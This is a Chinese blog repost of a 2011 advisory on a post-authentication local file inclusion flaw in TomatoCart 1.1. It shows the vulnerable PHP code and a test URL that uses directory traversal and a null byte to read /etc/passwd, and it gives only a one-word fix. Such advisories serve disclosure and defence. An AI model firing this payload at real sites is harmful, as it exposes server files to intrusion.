注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

冰魂's blog

关注网络技术.

 
 
 
 
 

日志

 
 

[漏洞]TomatoCart 1.1预验证本地文件包含缺陷及修复  

2011-09-14 23:24:04|  分类: [安全资讯] |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

标题: TomatoCart 1.1 PostAuth Local File Include
作者: brain[pillow]
下载地址 http://www.tomatocart.com/
影响版本: 1.1

缺陷代码分析:

 if ($osC_Customer->isLoggedOn() === true) { 

    

    if (isset($_REQUEST['module'])) { 

      $module = $_REQUEST['module']; 

      $osC_Language->load($module); 

    }  

      www.badguest.cn    if (isset($_REQUEST['pdf'])) { 

      $pdf = $_REQUEST['pdf']; 

    }  

      

    if (!empty($module) && !empty($pdf)) { 

      if (file_exists('includes/modules/pdf/' . $pdf . '.php')) { 

        include('includes/modules/pdf/' . $pdf . '.php'); 

          

        $pdf_class = 'toC_' .ucfirst($pdf) . '_PDF'; 

        $object = new $pdf_class(); 

        $object ->render(); 

          

        exit; 

      } 

    } 

  } 

=========================================================

# 测试方法:

/pdf.php?module=1&pdf=../../../../../../../../../../../../../etc/passwd%00


修复:过滤

  评论这张
 
阅读(334)| 评论(0)
推荐 转载

历史上的今天

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017